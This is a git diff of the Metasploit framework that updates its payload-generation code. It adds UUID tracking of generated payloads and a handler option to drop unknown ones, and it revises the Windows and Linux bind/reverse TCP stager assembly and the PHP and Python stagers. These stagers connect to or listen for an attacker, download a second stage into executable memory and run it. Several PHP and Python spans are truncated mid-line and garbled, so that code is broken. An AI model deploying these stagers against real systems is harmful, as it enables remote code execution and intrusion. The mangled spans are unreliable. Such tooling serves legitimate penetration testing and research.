diff --git a/.gitignore b/.gitignore index 2151978a0c..532dcce24a 100644 --- a/.gitignore +++ b/.gitignore @@ -69,7 +69,10 @@ external/source/exploits/**/Release # the metasploit-payloads gem. data/meterpreter/*.dll data/meterpreter/*.bin +data/meterpreter/*.jar data/meterpreter/*.lso +data/android +data/java # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, diff --git a/Gemfile.lock b/Gemfile.lock index 1723828a2a..7248bf82e0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,13 +9,13 @@ PATH json metasploit-concern (~> 1.0) metasploit-model (~> 1.0) - metasploit-payloads (= 0.0.7) + metasploit-payloads (= 1.0.2) msgpack nokogiri packetfu (= 1.1.9) railties rb-readline-r7 - recog (~> 1.0) + recog (~> 2.0) robots rubyzip (~> 1.1) sqlite3 @@ -24,7 +24,7 @@ PATH activerecord (>= 4.0.9, < 4.1.0) metasploit-credential (~> 1.0) metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (~> 1.0) + metasploit_data_models (~> 1.2) pg (>= 0.11) metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev) @@ -123,8 +123,8 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (0.0.7) - metasploit_data_models (1.1.0) + metasploit-payloads (1.0.2) + metasploit_data_models (1.2.1) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) arel-helpers @@ -133,12 +133,12 @@ GEM pg postgres_ext railties (>= 4.0.9, < 4.1.0) - recog (~> 1.0) + recog (~> 2.0) method_source (0.8.2) mime-types (2.4.3) mini_portile (0.6.2) minitest (4.7.5) - msgpack (0.5.11) + msgpack (0.6.0) multi_json (1.11.0) multi_test (0.1.2) network_interface (0.0.1) @@ -174,7 +174,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (10.4.2) rb-readline-r7 (0.5.2.0) - recog (1.0.29) + recog (2.0.4) nokogiri redcarpet (3.2.3) rkelly-remix (0.0.6) diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml deleted file mode 100644 index 8671dfed52..0000000000 Binary files a/data/android/apk/AndroidManifest.xml and /dev/null differ diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex deleted file mode 100644 index 598f2bd3db..0000000000 Binary files a/data/android/apk/classes.dex and /dev/null differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc deleted file mode 100644 index 03f6c44d28..0000000000 Binary files a/data/android/apk/resources.arsc and /dev/null differ diff --git a/data/android/libs/armeabi/libndkstager.so b/data/android/libs/armeabi/libndkstager.so deleted file mode 100644 index f56cfbe78d..0000000000 Binary files a/data/android/libs/armeabi/libndkstager.so and /dev/null differ diff --git a/data/android/libs/mips/libndkstager.so b/data/android/libs/mips/libndkstager.so deleted file mode 100644 index e9635c6bf3..0000000000 Binary files a/data/android/libs/mips/libndkstager.so and /dev/null differ diff --git a/data/android/libs/x86/libndkstager.so b/data/android/libs/x86/libndkstager.so deleted file mode 100644 index 358834f300..0000000000 Binary files a/data/android/libs/x86/libndkstager.so and /dev/null differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar deleted file mode 100644 index b1efa83820..0000000000 Binary files a/data/android/meterpreter.jar and /dev/null differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar deleted file mode 100644 index 447bf2a576..0000000000 Binary files a/data/android/metstage.jar and /dev/null differ diff --git a/data/android/shell.jar b/data/android/shell.jar deleted file mode 100644 index df61c7beeb..0000000000 Binary files a/data/android/shell.jar and /dev/null differ diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php index 156966fcf5..b772b3e94c 100755 --- a/data/meterpreter/meterpreter.php +++ b/data/meterpreter/meterpreter.php @@ -1,4 +1,4 @@ -#I', len(pkt) + 4) + pkt self.send_packet(pkt) + def _core_uuid(self, request, response): + response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID) + return ERROR_SUCCESS, response + def _core_machine_id(self, request, response): + def get_hdd_label(): + for _, _, files in os.walk('/dev/disk/by-id/'): + for f in files: + for p in ['ata-', 'mb-']: + if f[:len(p)] == p: + return f[len(p):] + return "" + serial = '' machine_name = platform.uname()[1] if has_windll: @@ -592,11 +606,8 @@ class PythonMeterpreter(object): serial_num = serial_num.value serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF) else: - for _, _, files in os.walk('/dev/disk/by-id/'): - for f in files: - if f[:4] == 'ata-': - serial = f[4:] - break + serial = get_hdd_label() + response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name)) return ERROR_SUCCESS, response diff --git a/data/php/bind_tcp.php b/data/php/bind_tcp.php deleted file mode 100755 index a987fd4b31..0000000000 --- a/data/php/bind_tcp.php +++ /dev/null @@ -1,56 +0,0 @@ -#= 4.0.9', '< 4.1.0' ] end end -end \ No newline at end of file +end diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 7749515b92..c62db55496 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -589,8 +589,11 @@ class ReadableText sess_via = session.via_exploit.to_s sess_type = session.type.to_s sess_uuid = session.payload_uuid.to_s + sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil + sess_checkin = "" sess_machine_id = session.machine_id.to_s + sess_registration = "No" if session.respond_to? :platform sess_type << (" " + session.platform) @@ -600,6 +603,13 @@ class ReadableText sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}" end + if session.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid]) + sess_registration = "Yes" + if uuid_info['name'] + sess_registration << " - Name=\"#{uuid_info['name']}\"" + end + end + out << " Session ID: #{sess_id}\n" out << " Type: #{sess_type}\n" out << " Info: #{sess_info}\n" @@ -608,6 +618,10 @@ class ReadableText out << " UUID: #{sess_uuid}\n" out << " MachineID: #{sess_machine_id}\n" out << " CheckIn: #{sess_checkin}\n" + out << " Registered: #{sess_registration}\n" + + + out << "\n" end diff --git a/lib/msf/base/sessions/meterpreter_android.rb b/lib/msf/base/sessions/meterpreter_android.rb index f3417ae8c7..01080744d3 100644 --- a/lib/msf/base/sessions/meterpreter_android.rb +++ b/lib/msf/base/sessions/meterpreter_android.rb @@ -19,13 +19,6 @@ class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java self.platform = 'java/android' end - def load_android - original = console.disable_output - console.disable_output = true - console.run_single('load android') - console.disable_output = original - end - end end diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 30c3711ee1..aa0b5c4136 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -64,12 +64,6 @@ module MeterpreterOptions end end - if session.platform =~ /android/i - if datastore['AutoLoadAndroid'] - session.load_android - end - end - [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| if (datastore[key].empty? == false) args = Shellwords.shellwords( datastore[key] ) diff --git a/lib/msf/core/exploit/android.rb b/lib/msf/core/exploit/android.rb index e416884adc..3c08b708fc 100644 --- a/lib/msf/core/exploit/android.rb +++ b/lib/msf/core/exploit/android.rb @@ -87,8 +87,7 @@ module Exploit::Android # The NDK stager is used to launch a hidden APK def ndkstager(stagename, arch) - path = ['data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so'] - data = File.read(File.join(Msf::Config::InstallRoot, *path), :mode => 'rb') + data = MetasploitPayloads.read('android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') data.gsub!('PLOAD', stagename) end diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 69787fc3e8..fe54145d0d 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -73,7 +73,7 @@ class Framework require 'msf/core/plugin_manager' require 'msf/core/db_manager' require 'msf/core/event_dispatcher' - + require 'rex/json_hash_file' # # Creates an instance of the framework context. @@ -91,6 +91,7 @@ class Framework self.datastore = DataStore.new self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) + self.uuid_db = Rex::JSONHashFile.new(::File.join(Msf::Config.config_directory, "payloads.json")) # Configure the thread factory Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self) @@ -187,6 +188,12 @@ class Framework # unloading of plugins. # attr_reader :plugins + # + # The framework instance's payload uuid database. The payload uuid + # database is used to record and match the unique ID values embedded + # into generated payloads. + # + attr_reader :uuid_db # The framework instance's db manager. The db manager # maintains the database db and handles db events @@ -243,6 +250,7 @@ protected attr_writer :jobs # :nodoc: attr_writer :plugins # :nodoc: attr_writer :db # :nodoc: + attr_writer :uuid_db # :nodoc: end class FrameworkEventSubscriber diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index d442d6727d..f2e0073f6a 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -56,7 +56,8 @@ module ReverseHttp OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]), - OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

' ]) + OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

' ]), + OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) ], Msf::Handler::ReverseHttp) end @@ -153,6 +154,10 @@ module ReverseHttp print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") lookup_proxy_settings + + if datastore['IgnoreUnknownPayloads'] + print_status("Handler is ignoring unknown payloads, there are #{framework.uuid_db.keys.length} UUIDs whitelisted") + end end # @@ -228,6 +233,21 @@ protected conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) end + # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set + if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex] + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring request with unknown UUID") + info[:mode] = :unknown_uuid + end + + # Validate known URLs for all session init requests if IgnoreUnknownPayloads is set + if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/ + allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || [] + unless allowed_urls.include?(req.relative_resource) + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring request with unknown UUID URL #{req.relative_resource}") + info[:mode] = :unknown_uuid_url + end + end + self.pending_connections += 1 # Process the requested resource. @@ -254,7 +274,10 @@ protected url = payload_uri(req) + conn_id + '/' blob = "" - blob << obj.generate_stage + blob << obj.generate_stage( + uuid: uuid, + uri: conn_id + ) var_escape = lambda { |txt| txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) @@ -291,7 +314,10 @@ protected url = payload_uri(req) + conn_id + "/\x00" blob = "" - blob << obj.generate_stage + blob << obj.generate_stage( + uuid: uuid, + uri: conn_id + ) # This is a TLV packet - I guess somewhere there should be an API for building them # in Metasploit :-) @@ -368,7 +394,9 @@ protected }) else - print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...") + unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode]) + print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} with UA #{req.headers['User-Agent']}...") + end resp.code = 200 resp.message = "OK" resp.body = datastore['HttpUnknownRequestResponse'].to_s diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 6eb0699235..c1ec362da2 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -318,6 +318,16 @@ class Payload < Msf::Module apply_prepends(generate) end + # + # Convert raw bytes to metasm-ready 'db' encoding format + # eg. "\x90\xCC" => "db 0x90,0xCC" + # + # @param raw [Array] Byte array to encode. + # + def raw_to_db(raw) + raw.unpack("C*").map {|c| "0x%.2x" % c}.join(",") + end + # # Substitutes variables with values from the module's datastore in the # supplied raw buffer for a given set of named offsets. For instance, diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index 43ecd9cc61..b70c6a9602 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -17,7 +17,7 @@ module Msf::Payload::Dalvik # # We could compile the .class files with dx here # - def generate_stage + def generate_stage(opts={}) end # @@ -31,6 +31,11 @@ module Msf::Payload::Dalvik [str.length].pack("N") + str end + def apply_options(classes) + string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s) + string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s) + end + def string_sub(data, placeholder="", input="") data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) end diff --git a/lib/msf/core/payload/generic.rb b/lib/msf/core/payload/generic.rb index 0de18cc652..91a288e599 100644 --- a/lib/msf/core/payload/generic.rb +++ b/lib/msf/core/payload/generic.rb @@ -123,8 +123,8 @@ module Payload::Generic redirect_to_actual(:stage_over_connection?) end - def generate_stage - redirect_to_actual(:generate_stage) + def generate_stage(opts={}) + redirect_to_actual(:generate_stage, opts) end def handle_connection_stage(*args) diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index d8ecdf500a..bebcedca32 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -14,7 +14,7 @@ module Msf::Payload::Java # [ 32-bit big endian length ][ Nth raw .class file] # [ 32-bit null ] # - def generate_stage + def generate_stage(opts={}) stage = '' @stage_class_files.each do |path| data = MetasploitPayloads.read('java', path) diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index 83b02fc4a4..a8de052bc6 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/linux/send_uuid' module Msf @@ -17,6 +18,7 @@ module Payload::Linux::BindTcp include Msf::Payload::TransportConfig include Msf::Payload::Linux + include Msf::Payload::Linux::SendUUID # # Generate the first stage @@ -36,6 +38,18 @@ module Payload::Linux::BindTcp generate_bind_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def use_ipv6 + false + end + # # Generate and compile the stager # @@ -72,7 +86,13 @@ module Payload::Linux::BindTcp def asm_bind_tcp(opts={}) #reliable = opts[:reliable] - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + af_inet = 2 + + if use_ipv6 + af_inet = 0xa + end + + encoded_port = "0x%.8x" % [opts[:port].to_i, af_inet].pack("vn").unpack("N").first asm = %Q^ bind_tcp: @@ -89,7 +109,7 @@ module Payload::Linux::BindTcp push ebx ; PROTO inc ebx ; SYS_SOCKET and SOCK_STREAM push ebx - push 0x2 ; SYS_BIND and AF_INET + push #{af_inet} ; SYS_BIND and AF_INET(6) mov ecx,esp mov al,0x66 ; socketcall syscall int 0x80 ; invoke socketcall (SYS_SOCKET) @@ -114,15 +134,38 @@ module Payload::Linux::BindTcp pop ebx pop esi + ^ + + if use_ipv6 + asm << %Q^ + push 2 + pop ebx + push edx + push edx + push edx + push edx + push edx + push edx + push #{encoded_port} + mov ecx,esp + push 0x1c + ^ + else + asm << %Q^ push edx push #{encoded_port} push 0x10 + ^ + end + + asm << %Q^ push ecx push eax mov ecx,esp push 0x66 ; socketcall syscall pop eax int 0x80 ; invoke socketcall (SYS_BIND) + shl ebx,1 ; SYS_LISTEN mov al,0x66 ; socketcall syscall (SYS_LISTEN) int 0x80 ; invoke socketcall @@ -133,6 +176,16 @@ module Payload::Linux::BindTcp mov [ecx+0x4],edx int 0x80 ; invoke socketcall (SYS_ACCEPT) xchg eax,ebx + ^ + + if include_send_uuid + asm << %Q^ + mov edi, ebx + #{asm_send_uuid} + ^ + end + + asm << %Q^ mov dh,0xc ; at least 0x0c00 bytes mov al,0x3 ; read syscall int 0x80 ; invoke read diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 5b190f93b0..bad961c820 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -3,6 +3,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/linux' +require 'msf/core/payload/linux/send_uuid' module Msf @@ -18,6 +19,7 @@ module Payload::Linux::ReverseTcp include Msf::Payload::TransportConfig include Msf::Payload::Linux + include Msf::Payload::Linux::SendUUID # # Generate the first stage @@ -39,6 +41,14 @@ module Payload::Linux::ReverseTcp generate_reverse_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + def transport_config(opts={}) transport_config_reverse_tcp(opts) end @@ -89,9 +99,10 @@ module Payload::Linux::ReverseTcp push 0x2 mov al, 0x66 mov ecx, esp - int 0x80 ; sys_socketcall - xchg eax, edi - pop ebx + int 0x80 ; sys_socketcall (socket()) + + xchg eax, edi ; store the socket in edi + pop ebx ; set ebx back to zero push #{encoded_host} push #{encoded_port} mov ecx, esp @@ -102,7 +113,12 @@ module Payload::Linux::ReverseTcp push edi mov ecx, esp inc ebx - int 0x80 ; sys_socketcall + int 0x80 ; sys_socketcall (connect()) + ^ + + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ mov dl, 0x7 mov ecx, 0x1000 mov ebx, esp @@ -110,12 +126,13 @@ module Payload::Linux::ReverseTcp shl ebx, 0xc mov al, 0x7d int 0x80 ; sys_mprotect + pop ebx mov ecx, esp cdq mov dh, 0xc mov al, 0x3 - int 0x80 ; sys_read + int 0x80 ; sys_read (recv()) jmp ecx ^ diff --git a/lib/msf/core/payload/linux/send_uuid.rb b/lib/msf/core/payload/linux/send_uuid.rb new file mode 100644 index 0000000000..c010944c0e --- /dev/null +++ b/lib/msf/core/payload/linux/send_uuid.rb @@ -0,0 +1,52 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic send_uuid stub for Linux ARCH_X86 payloads +# +### + +module Payload::Linux::SendUUID + + # + # Generate assembly code that writes the UUID to the socket. + # + # This code assumes that the communications socket handle is in edi. + # + def asm_send_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm =%Q^ + send_uuid: + push ebx ; store ebx for later + push ecx ; store ecx for later + push 0 ; terminate the args array + push #{uuid_raw.length} ; length of the UUID + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; UUID itself + get_uuid_address: + push edi ; socket handle + mov ecx, esp ; store the pointer to the argument arra + push 0x9 ; SYS_SEND + pop ebx + push 0x66 ; sys_socketcall + pop eax + int 0x80 + add esp, 16 ; put the stack back how it was + pop ecx ; restore ecx + pop ebx ; restore ebx + ^ + + asm + end + +end + +end + diff --git a/lib/msf/core/payload/php/bind_tcp.rb b/lib/msf/core/payload/php/bind_tcp.rb new file mode 100644 index 0000000000..0ef0ee4da9 --- /dev/null +++ b/lib/msf/core/payload/php/bind_tcp.rb @@ -0,0 +1,123 @@ + +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/php/send_uuid' + +module Msf + +### +# +# Complex bind_tcp payload generation for PHP +# +### + +module Payload::Php::BindTcp + + include Msf::Payload::Php + include Msf::Payload::Php::SendUUID + + # + # Generate the first stage + # + def generate + conf = { + port: datastore['LPORT'] + } + + php = super + generate_bind_tcp(conf) + php.gsub!(/#.*$/, '') + Rex::Text.compress(php) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def use_ipv6 + false + end + + def transport_config(opts={}) + transport_config_bind_tcp(opts) + end + + def generate_bind_tcp(opts={}) + ipf = 'AF_INET' + ip = '0.0.0.0' + if use_ipv6 + ipf << "6" + ip = '[::]' + end + + php = %Q^//I',s.recv(4))[0]\n" + cmd << "d=s.recv(l)\n" + cmd << "while len(d)I',s.recv(4))[0]\n" + cmd << "d=s.recv(l)\n" + cmd << "while len(d) 0 ||datastore['PayloadUUIDRaw'].to_s.length > 0 @@ -40,7 +42,11 @@ module Msf::Payload::UUIDOptions return "/" + generate_uri_checksum(sum, len, prefix="") end - generate_uri_uuid(sum, generate_payload_uuid, len) + uuid = generate_payload_uuid + uri = generate_uri_uuid(sum, uuid, len) + record_payload_uuid_url(uuid, uri) + + uri end # Generate a Payload UUID @@ -66,7 +72,48 @@ module Msf::Payload::UUIDOptions conf[:puid] = puid_raw end - Msf::Payload::UUID.new(conf) + if datastore['PayloadUUIDName'].to_s.length > 0 && ! datastore['PayloadUUIDTracking'] + raise ArgumentError, "The PayloadUUIDName value is ignored unless PayloadUUIDTracking is enabled" + end + + # Generate the UUID object + uuid = Msf::Payload::UUID.new(conf) + record_payload_uuid(uuid) + + uuid + end + + # Store a UUID in the JSON database if tracking is enabled + def record_payload_uuid(uuid, info={}) + return unless datastore['PayloadUUIDTracking'] + + uuid_info = info.merge({ + arch: uuid.arch, + platform: uuid.platform, + timestamp: uuid.timestamp, + payload: self.fullname, + datastore: self.datastore + }) + + if datastore['PayloadUUIDSeed'].to_s.length > 0 + uuid_info[:seed] = datastore['PayloadUUIDSeed'] + end + + if datastore['PayloadUUIDName'].to_s.length > 0 + uuid_info[:name] = datastore['PayloadUUIDName'] + end + + framework.uuid_db[uuid.puid_hex] = uuid_info + end + + # Store a UUID URL in the JSON database if tracking is enabled + def record_payload_uuid_url(uuid, url) + return unless datastore['PayloadUUIDTracking'] + uuid_info = framework.uuid_db[uuid.puid_hex] + uuid_info['urls'] ||= [] + uuid_info['urls'] << url + uuid_info['urls'].uniq! + framework.uuid_db[uuid.puid_hex] = uuid_info end end diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 5aa6cd3f94..cec61940b7 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -19,6 +20,7 @@ module Payload::Windows::BindTcp include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -40,10 +42,25 @@ module Payload::Windows::BindTcp generate_bind_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + def transport_config(opts={}) transport_config_bind_tcp(opts) end + # + # Don't use IPv6 by default, this can be overridden by other payloads + # + def use_ipv6 + false + end + # # Generate and compile the stager # @@ -74,6 +91,8 @@ module Payload::Windows::BindTcp # Reliability checks add 4 bytes for the first check, 5 per recv check (2) space += 14 + space += uuid_required_size if include_send_uuid + # The final estimated size space end @@ -87,8 +106,16 @@ module Payload::Windows::BindTcp # def asm_bind_tcp(opts={}) - reliable = opts[:reliable] - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + reliable = opts[:reliable] + addr_fam = 2 + sockaddr_size = 16 + + if use_ipv6 + addr_fam = 23 + sockaddr_size = 28 + end + + encoded_port = "0x%.8x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first asm = %Q^ ; Input: EBP must be the address of 'api_call'. @@ -99,96 +126,99 @@ module Payload::Windows::BindTcp push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. push 0x5F327377 ; ... push esp ; Push a pointer to the "ws2_32" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call ebp ; LoadLibraryA( "ws2_32" ) mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) sub esp, eax ; alloc some space for the WSAData structure push esp ; push a pointer to this stuct push eax ; push the wVersionRequested parameter - push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call ebp ; WSAStartup( 0x0190, &WSAData ); - push 8 + push 11 pop ecx - push_8_loop: - push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8]) - loop push_8_loop + push_0_loop: + push eax ; if we succeed, eax will be zero, push it enough times + ; to cater for both IPv4 and IPv6 + loop push_0_loop ; push zero for the flags param [8] ; push null for reserved parameter [7] ; we do not specify a WSAPROTOCOL_INFO structure [6] ; we do not specify a protocol [5] - inc eax ; - push eax ; push SOCK_STREAM - inc eax ; - push eax ; push AF_INET - push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + push 1 ; push SOCK_STREAM + push #{addr_fam} ; push AF_INET/6 + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don't care about the value of eax after this - ; bind to 0.0.0.0, pushed earlier [4] + ; bind to 0.0.0.0/[::], pushed earlier push #{encoded_port} ; family AF_INET and port number mov esi, esp ; save a pointer to sockaddr_in struct - push 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused) + push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used) push esi ; pointer to the sockaddr_in struct push edi ; socket - push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} call ebp ; bind( s, &sockaddr_in, 16 ); - ^ - - # Check for a failed bind() call - if reliable - asm << %Q^ - test eax,eax - jnz failure - ^ - end + ^ + # Check for a failed bind() call + if reliable asm << %Q^ + test eax,eax + jnz failure + ^ + end + + asm << %Q^ ; backlog, pushed earlier [3] push edi ; socket - push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')} call ebp ; listen( s, 0 ); ; we set length for the sockaddr struct to zero, pushed earlier [2] ; we dont set the optional sockaddr param, pushed earlier [1] push edi ; listening socket - push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')} call ebp ; accept( s, 0, 0 ); push edi ; push the listening socket xchg edi, eax ; replace the listening socket with the new connected socket for further comms - push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call ebp ; closesocket( s ); + ^ + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ recv: ; Receive the size of the incoming second stage... push 0 ; flags push 4 ; length = sizeof( DWORD ); push esi ; the 4 byte buffer on the stack to hold the second stage length push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, &dwLength, 4, 0 ); - ^ - - # Check for a failed recv() call - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end + ^ + # Check for a failed recv() call + if reliable asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ ; Alloc a RWX buffer for the second stage mov esi, [esi] ; dereference the pointer to the second stage length push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push esi ; push the newly recieved second stage length. push 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... xchg ebx, eax ; ebx = our new memory address for the new stage @@ -198,40 +228,39 @@ module Payload::Windows::BindTcp push esi ; length push ebx ; the current address into our second stage's RWX buffer push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, buffer, length, 0 ); - ^ - - # Check for a failed recv() call - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end + ^ + # Check for a failed recv() call + if reliable asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read ret ; return into the second stage + ^ + + if reliable + if opts[:exitfunk] + asm << %Q^ + failure: + ^ + asm << asm_exitfunk(opts) + else + asm << %Q^ + failure: + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} + call ebp ^ - - if reliable - if opts[:exitfunk] - asm << %Q^ - failure: - - ^ - asm << asm_exitfunk(opts) - else - asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ - end end + end asm end diff 